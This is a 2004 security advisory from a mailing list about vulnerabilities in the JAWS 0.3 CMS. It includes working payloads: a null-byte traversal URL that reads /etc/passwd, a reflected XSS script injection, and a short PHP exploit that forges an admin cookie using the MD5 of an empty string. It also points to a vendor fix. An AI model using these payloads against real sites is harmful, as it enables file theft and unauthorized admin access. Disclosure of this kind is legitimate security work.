[UNIX] Multiples Vulnerabilities In JAWS

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To: list@securiteam.com
Date: 11 Jul 2004 12:27:25 +0200

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  Multiples Vulnerabilities In JAWS
------------------------------------------------------------------------

SUMMARY

 <http://www.jaws.com.mx/> Jaws is "a Framework and Content Management
System for building dynamic web sites".
The index.php page contains multiple vulnerabilities that allows a
malicious attacker to bypass authentication, read arbitrary files and
perform Cross-Site-Scripting attacks.

DETAILS

Vulnerable Systems:
 * JAWS 0.3

Full path disclosure:
Many ways exist in the code that allows determining the full path to the
web root directory: For example:
http://example.com/jaws/index.php?gadget=filebrowser&path=/etc

Vulnerable Code:
The jaws_error() function, it returns the line and the full path to the
name of the file:
Function jaws_error($text, $file, $line)
{
 print ("<b style=\"color: #f00;\" JAWS Error:</b><br/>".$text."<br/><i>
".$text."<br/><i>".$file.",line ".$line);
 exit;
}

Trying to open some file in the include directory
http://example.com/jaws/include/config.php

Arbitrary file browsing:
We can acceded to the file's content through the variable gadget. For
example, it is possible to open /etc/passwd in the following way:
http://example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc

The use of the "path" variable is irrelevant, in the code can be seen a
line like:
$path= str_replace ("..","",$path) --> at this way we filter the content
of path, but in the index.php file the gadget variable is not filter.

The "%00" is necessary because the script adds at the end of the name of
gadget variable the extension ".php"

Cross Site Scripting:
Cross site scripting is possible in the variable action, because it script
returns the content of the variable:
http://127.0.0.1/jaws/index.php?gadget=[a valid gadget]&action=<b>bold
letter</b>
http://127.0.0.1/jaws/index.php?gadget=[a valid
gadget]&action=<script>alert('Colombia Rulx!!');</script>

Vulnerable Code:
From index.php:
jaws_error ("Invalid operation: You can't display this action
[".$go_gadget->name."::".$go_gadget->action."]",__file__,__line__);
where "$go_gadget->action" content the erroneous action.

Bypassing password Authentication:
There exist a way that allow us to get in the control panel with
administrator rights without a password.

The admin.php file has:
if ($GLOBALS["app"]->logged_on())
{
control panel code...
..
}

The logged_on() function is in the application.php file. The function's
code:
function logged_on()
{
 return (md5($_SESSION["logged"]) ==$_COOKIE["logged"]);
}

The $_SESSION["logged"] variable before entering the Control Panel has a
Null ("") value. A possible way to exploit it should be:
//BEGIN
//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path to jaws');
?>
//END

Where "d41d8cd98f00b204e9800998ecf8427e" is the MD5 hash for the NULL
value. This way we can create a cookie (that look like from the remote
system) and then try the URL:
http://example.com/jaws/admin.php

And the authentication is bypassed.

Solution:
To fix this issue, please replace your index.php with the file in the
vendor's site available at: <http://jaws.com.mx/files/index.php.txt>
http://jaws.com.mx/files/index.php.txt

ADDITIONAL INFORMATION

The information has been provided by <mailto:nando@gigax.org> Fernando
Quintero.

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